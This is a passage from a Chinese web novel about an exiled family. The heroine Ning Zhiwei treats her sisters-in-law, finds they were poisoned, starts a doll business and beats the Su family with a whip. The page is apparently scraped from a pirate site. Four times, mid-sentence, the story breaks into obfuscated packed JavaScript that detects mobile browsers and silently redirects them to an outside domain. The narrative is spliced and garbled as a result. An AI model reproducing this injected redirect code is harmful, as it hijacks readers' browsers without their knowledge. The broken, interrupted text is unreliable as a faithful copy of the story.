宁芷薇回到帐篷,开始为六嫂施针。时间一分一秒地流逝,帐篷内的气氛越发凝重!终于,秦远霄带着药材匆匆赶回,宁芷薇接过药材,开始配制汤药。药香渐渐弥漫开来,驱散了帐篷内的紧张气氛。 宁芷薇小心翼翼地喂六嫂服下汤药,渐渐地,六嫂的脸色开始好转。 宁芷薇松了一口气,向众人报喜,"六嫂的烧退了些,应该无大碍了。" 秦老夫人感激地握住宁芷薇的手,"芷薇啊,多亏有你啊。" 宁芷薇叮嘱大家要好好照顾六嫂,便离开帐篷。 秦远霄温柔地扶住她的肩膀,"累了吧?要不要休息一会儿?" 宁芷薇摇摇头,眼中闪过一丝担忧,她总觉得六嫂的病情有些蹊跷,还需进一步观察。 秦远霄似乎察觉到她的心事,轻声道:"别太担心,有你在,六嫂一定会没事的。" 宁芷薇抬头望着星空,心中暗自思忖:六嫂的病情究竟是怎么回事?脉像中那股奇怪的力量又是从何而来? 暮色四合,宁芷薇再次为探望六嫂,旁边大嫂欲言又止,宁芷薇注意到她的神色,轻声问道:"大嫂可是有什么话要说?" 大嫂犹豫片刻,终于开口:"九弟妹,我自从嫁入秦家以后,但凡染了风寒就会比以往严重很多,也出现过像六弟妹这种昏迷的现象。" 二嫂在旁边点头附和:"听大嫂这样一说,好像还真是。我嫁入秦家后,也染过一次风寒,虽然没有昏迷,可也比曾经每一次染风寒都严重。" 宁芷薇听罢,脸色不由凝重起来,她想起东昭曾经招供的一件事:太后买通秦家下人,在新进门媳妇的茶里下药,使她们无法怀孕。难道,嫂嫂们风寒异常的严重,和曾经服下的避子药有关? 她不动声色地拉过大嫂的手腕,仔细查看她的脉搏。虽然大嫂没有感染风寒,但脉络中那一丝丝的异样感,让宁芷薇可以确定,她与六嫂的脉络有相似之处。 二嫂见状,也主动送上了自己的手腕。果然,三位嫂嫂脉搏中的异常情况相似。若不是她听东昭说过嫂嫂们被下过药,这一丝丝的异常并不一定会被发现。 宁芷薇心中暗自思量,这件事非同小可,在没有完全确定以前不宜公开。 她轻声安抚道:"大嫂、二嫂不必担心,你们的身体都很好。我只是想和六嫂的脉搏做个对比。" 两位嫂嫂这才稍稍放心,宁芷薇继续说道:"我想给六嫂施针,六嫂得了风寒怕见风,你们在外面守着,在我施针结束以前,不要让人来回走动。" 大嫂二嫂点头应允,宁芷薇转身进入帐篷。六嫂躺在榻上,面色苍白如纸。宁芷薇取出银针,轻声道:"六嫂,我先帮你施针,可能会有些疼,你忍着点儿。" 六嫂微微点头:"辛苦九弟妹了,六嫂不怕疼。" 宁芷薇用银针扎了几个穴位,见六嫂已经开始昏昏欲睡,她才从空间取出抽血的工具抽了一管血,处理好这些,宁芷薇将银针取下,六嫂便悠悠转醒过来。 "六嫂,你身子虚弱,就在帐篷里面休息,我去准备药。"宁芷薇说完,便转身离开。 出了帐篷,秦家的女眷们全部围上来询问六嫂的情况,宁芷薇告诉大家,六嫂应该是熬夜制作玩偶的时候着凉了,才引起今日的风寒,众人这才稍稍安心。 第六十八章 进阶!玩偶生意的产业化 宁芷薇钻进自己的帐篷准备药物,她从空间取出退烧药、消炎药和感冒药,全部换了油纸包装后,再次折回到六嫂所在的帐篷。 大嫂送来一碗水,宁芷薇扶着六嫂起身:"六嫂,这些药都是一位大师送给我的,治疗伤寒的效果很好,你先吃这种。" 六嫂听说这看上去奇奇怪怪的小药丸都是出自高人之手,顿时就有些犹豫:"九弟妹,这太珍贵了。" 宁芷薇笑着劝道:"六嫂不用担心,这些药丸的制作方法我已经学会了,只要有药材,我就能够制作出来,所以你不必有负担。" 六嫂这才放心服下药丸,秦雨澜一直在旁边看着,对宁芷薇手中的药丸愈发感兴趣,等宁芷薇从帐篷走出来,秦雨澜立刻凑了上去。 "九嫂,我最近跟着你学采药,已经能识别很多种草药了,你能不能教我制作这药丸,若是成功了,我也能帮家里赚些银子。" 宁芷薇看着小姑娘天真烂漫的模样,心中一暖。她摸了摸秦雨澜的头:"雨澜若是喜欢学医,就从药理开始吧!回头我帮你找一本中草药的书籍,你先熟悉一下各种中药的药性。" 秦雨澜兴奋地连连点头:"好,雨澜一定认真学习。" 宁芷薇独自坐在帐内,凝视着那管鲜血,心中思绪万千。 夜幕低垂,营地渐渐安静下来。宁芷薇将银子分发下去,段家与梁家人接过时,脸上洋溢着难以掩饰的喜悦于家人远远望着这一幕,眼底涌动着嫉妒与愤恨。 "多谢宁姑娘!"段家大嫂紧握着银子,声音微颤。 梁家二嫂也连连点头:"这银子来得及时,真是救了我们一家。" 宁芷薇轻轻颔首,没有多言。她悄悄瞥了眼于家人阴沉的面容,转身对秦远霄低语:"我们回帐篷。" 秦远霄会意,跟着她走进帐篷。 "六嫂情况如何?"一进帐篷,秦远霄便急切地问道。 宁芷薇摇了摇头,眉头紧蹙:"不太乐观。我怀疑她们中的毒不简单。" "毒?"秦远霄瞳孔一缩,"是谁下的手?" 宁芷薇没有直接回答,而是从怀中取出一个小瓶,里面装着刚才取的血样。她将血滴入一个奇怪的仪器中,专注地操作起来。 过了许久,宁芷薇终于抬起头,脸色凝重。 "果然如此。"她轻叹一声,"血液中有异常细胞,形状很特殊。" "这意味着什么?"秦远霄追问道。 宁芷薇犹豫片刻,还是决定告诉他实情:"这种毒素会影响女子怀孕。恐怕...不止六嫂一人中招。" 秦远霄闻言,脸色瞬间变得铁青!他攥紧拳头,咬牙道:"是太后做的好事?" 宁芷薇没有否认,只是轻轻拍了拍他的手:"现在最重要的是找到解药。" 秦远霄深吸一口气,强压下怒火:"你说得对。我们该怎么做?" 宁芷薇沉吟片刻,突然想起什么:"我需要一本古籍,名叫《百草毒经》。" "我这就去找。"秦远霄说着就要转身。 宁芷薇拉住他,摇头道:"别急,我自有办法。" 她拿出一个小巧的物件,在上面轻点几下,秦远霄惊讶地看着,不明白她在做什么。不一会儿,宁芷薇手中竟凭空出现了一本书。 秦远霄瞪大了眼睛,不敢相信自己所见。宁芷薇没有解释,只是专注地翻阅起来。 "找到了!"她突然说道,"是一种叫"绝脉"的**。" 秦远霄听到这个名字,脸色更加难看,宁芷薇继续道:"别担心,这里有解药的配方。" 秦远霄松了口气,问道:"那我们现在就去抓药?" 宁芷薇摇摇头,眉头又皱了起来:"其中有一味药材叫"凤羽",恐怕不好找。" "凤羽是什么?"秦远霄不解地问。 "是一种生活在雪山上的鸟的蛋壳。"宁芷薇解释道,"极其罕见。" 秦远霄眸光一闪,仿佛回忆起什么,"凤羽?"他喃喃重复,随即神色一变,"两年前,我奉旨护送四公主南下和亲,她的嫁妆中就有这味药。" 宁芷薇闻言,心下一动。四公主是太后嫡女,嫁妆中带些药材本不足为奇,可太后竟舍得给她这等名贵药材...其中必有蹊跷。 两人目光交汇,一时无言。太后此举,怕是担心秦家人寻到解药,才将凤羽远送南疆。 秦远霄握紧拳头,指节发白,青筋毕露。他恨不得此刻就想冲进宫中,手刃那个恶毒的女人。 宁芷薇见状,轻轻搭上他的手臂,"凤羽虽珍贵,但嫂嫂们暂无性命之忧。我们不必太过着急。" 顿了顿,她接着说:"待在塞北安顿好,寻着大哥二哥下落时,再去南疆打探便是。" 秦远霄深吸一口气,缓缓点头。两人商议已毕,便离开密室。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈良远兴致大起,指着不远处的茶馆道:"恩公,咱们在街上遇见也是缘分,不如一起喝些茶叙叙旧?" 秦远霄下意识看向宁芷薇,见她并无异色,便点头应允。 三人入座后,沈良远亲自斟茶。 第六十九章 帝国的颓败 秦远霄端起茶杯,轻声道:"沈公子不必总将恩公二字挂在嘴边。若是不嫌弃,唤我一声秦大哥即可。" 沈良远闻言,郑重起身,朝二人一揖:"既如此,小弟就恭敬不如从命了。秦大哥,秦大嫂!" 寒暄过后,沈良远切入正题:"秦大嫂可知,你做的玩偶十分稀罕。尤其是那料子,我行商多年都未曾见过。" 宁芷薇神色如常,淡淡道:"不过是偶遇洋人出售布料,灵机一动做了些玩意儿罢了。" 沈良远闻言,目光中既有惊讶,又有钦佩。盐泊一带虽是水运要道,却也难得见到洋人。宁芷薇不仅有眼光识得好物,更有胆量大量购入!如今他们戴罪之身赶往塞北流放,正是用银子的时候,她竟敢如此行事,若是赔了,对于流放之人而言,损失可谓惨重。 宁芷薇指尖轻抚竹节熊玩偶,眸光微闪。沈良远双手抱拳,语气中难掩崇敬之意: "墨大嫂真是有眼光,不仅敢与洋人做生意,还能制作出如此与众不同的玩偶。" 宁芷薇嘴角微扬,谦虚道:"生活所迫罢了,哪里值得唐公子如此夸赞。" 两人又寒暄几句,沈良远才道明来意:"秦大嫂的玩偶独具特色,若是种类再多些,定能卖个好价钱。我可以帮忙推销到各个城池,想必收入不菲。" 做竹节熊玩偶本是临时起意,没想到沈良远竟看出了商机!宁芷薇略一思索,便道:"与沈公子合作,我自然愿意!正巧我还有些洋人那儿买来的布料,回去后倒是可以琢磨几个新样式。" 沈良远目光热切,已开始畅想未来:"如此甚好,小弟就等着秦大嫂的好消息了。" "只是......"宁芷薇欲言又止,"沈公子打算如何售卖?" 沈良远胸有成竹道:"秦大嫂放心,我已有计较。待巧艺坊的玩偶售罄,我们再推出新款,定能引起轰动。" 宁芷薇暗自点头,这沈良远果然有几分本事。她不动声色道:"既然如此,我这边也不急着赶工,定会制作几件精品出来。" 两人又商议一番细节,约定三日后若还未离开此地,便在这茶楼碰面。 沈良远正欲再问,忽见秦远霄眉头一皱,似有所觉,他顺着秦远霄的目光望去,只见街角处,几名官兵正在盘查路人。 宁芷薇也察觉到了异样,她轻轻放下茶杯,低声道:"夫君,时候不早了,我们该回去了。" 秦远霄点头,起身告辞,沈良远虽有不舍,却也不便多留。 三人刚走出茶馆,就听得一阵喧哗。只见不远处,一名官兵正揪着一个小贩的衣领,厉声喝问:"你可曾见过这个人?" 小贩连连摇头,战战兢兢道:"小的不曾见过,不曾见过..." 宁芷薇与秦远霄对视一眼,不动声色地加快了脚步,沈良远见状,也识趣地没有多问,与二人匆匆道别后,转身离去。 两人一路无话,很快回到营地。女眷们见宁芷薇归来,纷纷围上前来。 "九弟妹,这次又买了些什么好东西?"二嫂笑问道。 宁芷薇神秘一笑,指了指身后的牛车。众人这才注意到,车上堆满了各色布料。 "这是......"秦雨澜瞪大了眼睛,难掩惊喜之色。 宁芷薇点头道:"是啊,又买了些布料。来,大家帮忙卸货吧。" 众人齐心协力,很快将布料搬进帐篷。宁芷薇站在一旁,目光扫过这些五颜六色的布料,脑海中已浮现出各种新奇玩偶的模样。 "九嫂,这次打算做些什么样的玩偶?"秦雨澜好奇地问。 宁芷薇笑而不语,只是轻轻拍了拍她的肩膀,正欲开口,却见段家与梁家的女眷走了过来,神色间带着几分忐忑。 "秦夫人......"段家主母欲言又止,眼中闪过一丝愧疚。 宁芷薇心中了然,温声道:"大家不必多礼,能帮上忙我也高兴。" 梁家主母闻言,眼眶微红:"秦夫**恩大德,我们无以为报......" 宁芷薇摆摆手,打断了她的话:"都是一家人,何必说这些。" 她顿了顿,又道,"既然大家都在,不如我们来玩个游戏如何?" 众人面面相觑,不明所以。二嫂问道:"什么游戏?" 宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481929|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芷薇神秘一笑:"各位不妨猜猜,我会做出什么样的新玩偶。猜中的人,我送她一个玩偶如何?" 这一提议立刻引起了大家的兴趣,女眷们七嘴八舌地讨论起来,气氛顿时热闹非凡。 宁芷薇坐在帐篷里,开始绘制新玩偶的图样。她的手指灵活地在纸上飞舞勾勒,时而停顿,时而快速移动。很快地就勾勒出一只穿衣服的小熊和一只可爱的小黄鸭。 秦远霄端着一碗热气腾腾的汤药走了进来,见宁芷薇专注的模样,不忍打扰,只是轻轻将碗放在一旁。 宁芷薇察觉到他的动作,抬头露出一个疲惫却温柔的笑容:"多谢夫君。" 秦远霄心疼地看着她略显憔悴的面容,柔声道:"芷薇,别太累着自己。" "无妨,这些玩偶关系到大家的生计,我得尽快设计出来。" 秦远霄轻轻叹了口气,坐到她身边,默默陪伴。 "这样开始应该足够了。"宁芷薇满意地看着图纸。 外面的女眷们早已翘首以盼。宁芷薇将众人召集,展示新设计的玩偶图纸。 "大家按图纸制作,尺寸颜色都要严格遵守。"她细心叮嘱。 其他人也各自领了图纸,兴致勃勃地开始研究。宁芷薇见状,转身准备午饭,秦远霄在一旁帮忙生火。 远处,庞勇和李大刚悄然归来,秦远霄起身迎上前去。宁芷薇目送他离开,继续专注于烹饪,却竖起耳朵倾听。 秦远霄很快回来,主动汇报,"多亏你给的瞬黑露,顾嬷嬷躲过了搜查。" 宁芷薇边炒菜边问,"她安全到达京城了吗?" 秦远霄点头,"顾星河去赈灾了,他们在驿馆等了七天才见到人。" 秦远霄手中那封信仿佛有千钧重量。只见他小心翼翼地展开信纸,顾星河的字迹映入眼帘,寥寥数语却暗藏玄机。 "多谢二位护佑顾嬷嬷周全,她乃还秦家清白的关键。"秦远霄念着。 宁芷薇轻声道:"他这是在暗示,日后必有重谢。" 秦远霄点头,继续往下读:"待我身份大白于天下,必先为秦家洗刷冤屈。" 第七十章 未来可期 "看来他已知晓秦家遭遇不公。"宁芷薇轻声分析,"这是在示好呢。" 秦远霄将信纸叠好,神色复杂,他望向帐篷外,眼中闪过一丝疲惫,"朝廷之事,我已心灰意冷,只盼家族能沉冤得雪。" 宁芷薇握住他的手,柔声道:"放心,有大家相助,情况总会好转的。" 她并没有说得太满,只是给予一丝希望。 两人若无其事地回到灶台旁,继续准备众人的午膳。 宁芷薇将炒好的菜盛出,"来尝尝看合不合口味。" 秦远霄接过筷子,细细品尝,"味道很好,你的厨艺又进步了。" 宁芷薇勉强挤出一个笑容,"那是自然,我可是在空间里偷偷练习过的。" 午餐过后,宁芷薇回到女眷们中间。大家已经开始着手制作玩偶,空气中弥漫着欢声笑语。 转眼三日过去,城中依旧**,搜寻东昭的官兵越发增多。街道上行人寥寥,空气中弥漫着一股压抑的气息。 东昭失踪的消息如一阵旋风,迅速刮进了京城,明德帝闻讯,面色阴沉如墨,他一拳重重砸在御案上,怒吼道:"盐帮!定是盐帮干的好事!" 朝堂之上,他下令派兵剿灭盐帮,目光如炬扫过群臣。然而,往日**如潮的景象已不复存在,金銮殿上武将寥寥,无人敢应声。 明德帝心中暗自懊悔,不禁想起了秦家父子在时的盛况。那时何等威风,一声令下,秦玉辰便带兵出征。可转念一想,他又觉得如今这般也未尝不好。至少不必时刻提防秦家的野心。 殿上一片寂静,气氛凝重得令人窒息!终于,一位年迈的铁姓将军颤颤巍巍站了出来,"臣...臣愿领命前往盐泊。" 明德帝长舒一口气,朝那老将点头示意,可心底,一股莫名的失落感却挥之不去。 与京城的愁云惨淡不同,盐泊上游的郊外却是一派欢腾。女眷们欢呼雀跃,亲手缝制的玩偶终于大功告成。 宁芷薇满意地看着这些憨态可掬小熊和鸭子玩偶。每一针一线都凝聚着大家的心血,每个玩偶都有自己的特色。 她与秦远霄如约来到茶馆,准备与沈良远商谈合作事宜。推门而入,只见沈良远正在品茗,见二人到来,连忙起身相迎。 "秦兄秦大嫂,有失远迎。"沈良远笑着行礼,目光却不自觉地被宁芷薇手中的包裹吸引。 宁芷薇莞尔一笑,将包裹放在桌上,"沈公子,这便是我与你提过的玩偶。" 沈良远迫不及待地拆开包裹,只见里面躺着几个精致可爱的玩偶。他逐个拿起,爱不释手,仔细端详了小熊和小黄鸭玩偶,连连称赞。半晌,他收起玩味的神色,正色道:"秦大嫂,不如我们谈谈具体的合作细节?" 宁芷薇微微一笑,"沈公子在经商方面更有经验,不妨先听听你的想法。" 沈良远沉吟片刻,"我认为这些玩偶应该卖得更贵些。" 宁芷薇微微挑眉,示意他继续说下去。 "秦大嫂制作玩偶的材料想必数量有限,"沈良远解释道,"这意味着它们终将绝版。所以小弟建议,将价格定在十两银子一个。你出玩偶,我负责销售,利润五五分成。" 宁芷薇心中惊讶,面上却不动声色。十两银子,对普通百姓来说可是一笔不小的数目。 沈良远见状,连忙解释道:"虽然这个价格可能会让销售速度放缓,但利润必定可观。更何况,我们还要赶往塞北,一路上经过的城池不少,物以稀为贵。这些玩偶做工精良,又是独一无二,相信这么独特的玩偶定会供不应求。" 宁芷薇若有所思地点点头,觉得沈良远的想法很有道理。 "那就依沈公子所言,"宁芷薇爽快拍了板。 谈妥生意,宁芷薇正欲告辞,却见窗外阴云密布。 "看来要下雨了。"她轻声说道。 沈良远闻言,关切道:"秦大嫂,我们合作愉快!你们还是快些回去吧,别被雨淋着。" 宁芷薇和秦远霄起身告辞。 天空中突然传来一声惊雷,紧接着豆大的雨点倾盆而下。两人连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481930|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙小跑起来,却还是被淋得湿透。 回到营地,四下望去,其他人都已躲进帐篷,唯独于家人无处可躲,只能站在雨中瑟瑟发抖。 宁芷薇心中不忍,却也无能为力。秦远霄低声道:"待会儿雨停了,我去和田大哥商量租院子的事。" 雨势渐小,营地里却传来一阵骂声,她皱眉听去,原来是于家人在发泄不满,竟连官差也不放过一起骂了。宁芷薇心中一惊,暗道这于家人怎么如此不知轻重!果然,不多时就听到一阵皮鞭抽打的声音。 雨停后,秦远霄去寻田丰商议。 秦远霄很快回来,脸色有些难看:"田大哥同意租院子,但房租..." 宁芷薇明白他的意思,轻声道:"我们出吧。段家梁家那边,想必也能凑些。" 秦远霄点头,却又犹豫道:"就怕他们不愿意。" 宁芷薇柔声安慰:"总比在这风吹雨打强。再说,冬天快到了,总不能一直住帐篷。" 第二天一早,田丰便派人去找合适的院子,宁芷薇则去找段家梁家商议房租的事。 梁夫人一听要出银子,顿时不乐意了:"凭什么要我们出钱?" 宁芷薇耐心解释:"天气越来越冷,总不能一直住帐篷。大家凑份子,也能住得舒服些。" 段夫人犹豫道:"可是...我们现在手头也紧。" 宁芷薇微微一笑:"我教你们做的那些小玩意儿,除了卖给巧艺坊赚的银子,以后还能一路卖下去,这样不就能让大家都过得好一些吗?" 两位夫人对视一眼,终是答应下来。几天后,田丰总算找到了合适的院子。众人收拾行李,准备搬进去。于家人见状,又闹腾起来。 陈虎怒喝道:"都给我老实点!再闹把你们丢大牢里去!" 于家人这才消停,但看向其他人的眼神依旧怨毒。 搬进新院子,虽只是暂时的安身之所,但宁芷薇对未来隐隐有了些期待。 因为她相信,只要智慧与勇气并存,就没有过不去的坎。 第七十一章 苏家**挨打 一个阳光明媚的午后,宁芷薇正在院子里教女眷们制作新一批玩偶。 突然,院门外传来一阵嘈杂声。苏里正带着苏良豪和其他几个村民走了进来,他们的脸上挂着不怀好意的笑容。宁芷薇心中一沉,暗道【不好】。 “哟,这不是秦家的九嫂吗?”苏里正阴阳怪气地说,“瞧您这日子过得,真是让人羡慕啊。” 宁芷薇放下手中的玩偶,站起身来,礼貌地回应道:“苏里正,有什么事吗?” 苏良豪走上前一步,故意挡在宁芷薇面前,语气轻佻:“九嫂,听说你们做的那些小玩意儿卖得不错嘛。能不能让我们也见识见识?” 宁芷薇皱了皱眉,心中隐隐感到不安。“当然可以。”她尽量保持冷静,“这些玩偶是我们大家一起做的玩玩而已,如果苏公子感兴趣的话,随时可以来看。” 苏良豪伸手就要去抓宁芷薇的手,嘴里还嘟囔着:“让我看看,到底有多特别。” 宁芷薇迅速将手中的玩偶收起,避开他的手,冷声道:“请自重,苏公子。 苏良豪的脸色瞬间变得难看起来,他被拒绝后显得异常恼怒。“哼,装什么清高!”他恶狠狠地说,“你以为自己是谁?不过是个流放犯罢了!” 苏里正也在一旁煽风点火:“没错,别以为现在有点钱就了不起。咱们可是乡里乡亲的,你这样目中无人,小心以后没人帮你说好话!” 宁芷薇深吸一口气,试图平息心中的愤怒。“苏里正,我无意与任何人结怨。我们只是想靠自己的双手过上好日子。如果你们有什么需要帮忙的地方,我也愿意尽力而为。” 然而,她的善意并没有得到回应。苏良豪见状更加肆无忌惮,他猛地推了宁芷薇一把,差点让她摔倒在地上。周围的女眷们纷纷惊呼起来,但又不敢上前阻止。 “给我滚开!”苏良豪吼道,“别在这里装模作样!” 就在形势一触即发之际,秦远霄闻讯赶来。他看到妻子被人欺负,眼中闪过一丝寒光。“你们在做什么?”他冷冷地问道,声音中充满了威慑力。 苏里正和苏良豪见秦远霄出现,不由自主地往后退了几步。苏良豪的腿肚子直打颤,脸上的伤疤还隐隐作痛。他结结巴巴地喊道:“你...你别过来!大家都是乡里乡亲的,有话好说!” “好说?”秦远霄冷笑一声,眸中寒光乍现,“你们对我夫人无礼时,可曾想过好说?” 话音未落,他手中长鞭已如毒蛇般直奔苏良豪而去。鞭梢带起的风声令人胆寒,苏良豪甚至来不及做出反应。 “啊!”凄厉的惨叫声划破长空。 苏良豪身上瞬间多了几道血痕,衣衫被抽得破烂不堪。他踉跄着后退,一屁股坐在地上,脸上写满了惊恐。 宁芷薇站在一旁,看着秦远霄出手,心中暗暗发笑。这些人平日里作威作福,欺男霸女,今日也该尝尝被人欺负的滋味了。 她正想着,忽见苏良豪从地上爬起来,抄起一根木棍就要偷袭秦远霄。 “夫君,小心身后!”宁芷薇急忙提醒。 秦远霄早有防备,长鞭一抖,木棍应声而断。苏良豪被这股力道震得虎口发麻,整个人都愣在原地。 “一起上!给我打死他!”苏良豪被抽得皮开肉绽,恼羞成怒地大喊,“他就一个人,我们这么多人,怕什么!” 几个苏家人闻言,蜂拥而上。他们挥舞着木棍、锄头,却哪里是秦远霄的对手。长鞭在空中舞出一道道银光,每一鞭都准确地落在他们身上。 宁芷薇正看得入神,忽然察觉身后有异动。她微微侧头,余光瞥见苏里正不知何时摸到了她身后,手里还攥着一根麻绳。 “呵,想偷袭?”宁芷薇嘴角勾起一抹冷笑,眼中闪过一丝轻蔑。 她猛地转身,一记漂亮的回旋踢正中苏里正小腹。这一脚用了十成力道,苏里正像个破布袋一样飞了出去,重重摔在地上。 “堂堂里正,竟做出这等下作之事。”宁芷薇冷冷地看着他,声音里带着讽刺,“怎么,是觉得我好欺负?还是以为我只会躲在夫君身后?” 苏里正捂着肚子,脸色煞白。谁能料到,这个看起来娇滴滴的女子竟有这等身手。更让他心惊的是,宁芷薇的眼神中竟带着几分杀意。 “你...你们等着,我这就去县衙告你们!”苏里正挣扎着站起来,色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481931|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厉内荏地威胁道。 宁芷薇闻言笑得更加讽刺:“去啊,正好新县令刚到任,看看是不是所有官员都和苏里正一样贪得无厌。”她步步逼近,“不过,你确定要去吗?要不要先想想,你那侄儿的伤该怎么解释?” 这话如同一盆冷水浇在苏里正头上。 是啊,新县令刚到,谁知道是什么样的人?万一查起来,苏家做的那些龌龊事可就藏不住了。想到自家侄子那个难以启齿的伤,苏里正更是心虚。 “住手!”他朝着秦远霄喊道,声音都在发抖,“你先住手,我们不告了!求求你们放过我们吧!” 宁芷薇走到秦远霄身边,轻声道:“夫君,让我来试试。我也想让他们长长记性。” 秦远霄看着她明亮的眼睛,宠溺地笑了:“好,让娘子也活动活动筋骨。”说着,将鞭子递给她。 宁芷薇接过鞭子,对着那群苏家人就是一顿猛抽。虽然力道不及秦远霄,但胜在速度快、角度刁钻。鞭子每一次落下,都能准确地抽在他们最疼的地方。 苏家人哭爹喊娘,有的想逃,却被秦远霄拦住去路。他们只能在院子里狼狈地躲闪,却总是躲不开宁芷薇的鞭子。 直到苏家人浑身是伤,瘫倒在地上连求饶的力气都没有了,她才停了手。 “现在,你们可以滚了。”宁芷薇擦了擦额头的汗珠,“记住今天的教训,再敢来找麻烦,下次可就不是这么简单了。” 苏家人连滚带爬地上了牛车,仓皇而逃。他们的背影狼狈不堪,哪还有半分平日里作威作福的气势。 “夫君,”宁芷薇靠在秦远霄肩上,眼中闪过一丝狡黠,“我们是不是该去苏宅走一趟?趁着新县令还没到任,得先把苏县丞的路子堵死。” 秦远霄搂住她的腰,轻轻吻了吻她的发顶:“你说得对,不能给苏县丞贿赂新县令的机会。这苏家,是时候该有个了断了。” 两人相视一笑,驾着骡车转向了苏宅方向。路上,宁芷薇还不忘调侃道:“夫君,你说苏家人见了我们,会不会吓得尿裤子?” 秦远霄轻笑:“那可说不准。不过,我倒是很期待看到他惊慌失措的样子。” 第七十二章 骡车在乡间小路上缓缓前行,扬起的尘土在阳光下闪着金光。这一次,他们要让苏家人彻底失去翻身的机会。 远处,苏宅的大门已经隐约可见。宁芷薇握紧了手中的鞭子,眼中闪过一丝坚定。她知道,这场较量才刚刚开始。 衙门里正在迎接新任县令,苏宅的守卫必定松懈。 宁芷薇和秦远霄将骡车赶到一处偏僻的巷角,四下无人,只有几只麻雀在屋檐下叽叽喳喳。她轻轻抬手,骡车和秦远霄瞬间消失在界阙里。 初夏的阳光透过树叶在地上洒下斑驳的光影,远处传来叫卖声和孩童的嬉闹声。宁芷薇从袖中取出一个精致的檀木匣子,打开后露出里面琳琅满目的化妆工具。 “光天化日下做坏事,得好好收拾下仪容。”她眨了眨眼,眸中闪过狡黠的光芒。 秦远霄静静地看着她,任由她摆弄。宁芷薇仔细打量着他那张俊美的脸庞,手中的化妆笔开始在他脸上游走。她的动作轻柔而专注,时不时停下来端详效果。 “别动。”见秦远霄微微皱眉,她轻声提醒,“再忍忍。” 一刻钟后,一个双眼上挑、鼻梁扁平、嘴唇外翻的丑汉子出现在眼前。宁芷薇后退两步,满意地欣赏自己的杰作。 “还差点什么...”她摸着下巴思索片刻,眼睛一亮,从匣子里取出一副浓密的络腮胡子,“闭上眼睛。” 秦远霄顺从地闭上眼,感受到她温热的指尖在自己脸上轻轻按压。若有若无的体香萦绕在鼻尖,让他心神微动。 “好了!”宁芷薇拍拍手,将一套灰色短打递给他,“换上这个。” 秦远霄接过衣服,转身走到屏风后。宁芷薇听着布料摩擦的窸窣声,忍不住笑出声:“你知道吗?这世上最引人注目的有两种人。” “哪两种?”屏风后传来他低沉的声音。 “一种是像你原本那样俊美绝伦的,另一种就是...”她故意拖长了音调。 秦远霄换好衣服走出来,宁芷薇立即推着他来到铜镜前:“现在这样丑得惊天动地的!” 镜中的丑汉让秦远霄也愣住了,他不由自主地后退一步:“这...这是我?”语气中难得带着几分惊讶。 “怎么样?”宁芷薇得意地扬起下巴,“看我这妆容造型多绝?连你娘来了都认不出你。” 看着她眉飞色舞的模样,秦远霄心中一暖。为博她一笑,变丑些又何妨? 宁芷薇也简单装扮了一番,换上在清河县时常穿的男装。她随意在脸上涂抹几笔,又将长发高高束起。一个清秀的少年郎就这样出现了。 “走吧。”她拍了拍身上的褶皱。 两人离开界阙,沿着墙根潜行到苏宅外。院墙高大,青砖泛着冷光。秦远霄抱起宁芷薇,运起轻功,如一片落叶般轻盈地翻过墙头。 院中光线昏暗,几棵老槐树投下浓重的阴影。远处传来女子的哭声和求饶声,还夹杂着粗鲁的呵斥。两人躲在树后观察,只见几个家丁正押着七八个衣着华贵的女子往外走。 那些女子衣衫凌乱,有的哭得梨花带雨,有的拼命挣扎想逃。一个想跑的被家丁揪住头发拖了回来,发出一声凄厉的惨叫。 宁芷薇目光一凝,认出了其中的于家孪生姐妹。与其他人不同,她们没有歇斯底里地哭闹,而是不停地向家丁求情。 “小哥,求你发发慈悲。”其中一个跪在地上,声音哽咽,“不能把我们卖到风月场所...” 押解的家丁脚步顿了顿,语气稍显缓和:“这是县丞的命令,求我也没用。听话跟着走,还能少受些罪。” “可否引荐我等觐见县丞?”另一个姐妹也跪下来,“让我们求求情...” “**这条心吧。”家丁叹了口气,“若是大人心生怜惜,又怎会把你们卖去窑子?” 哀求声渐渐远去,只剩下断断续续的啜泣。宁芷薇冷笑一声:“这苏县丞倒是精明,知道自己快完了,急着变卖人口换银子。” 秦远霄轻抚她的发顶:“放心,为夫身体康健,定不会做 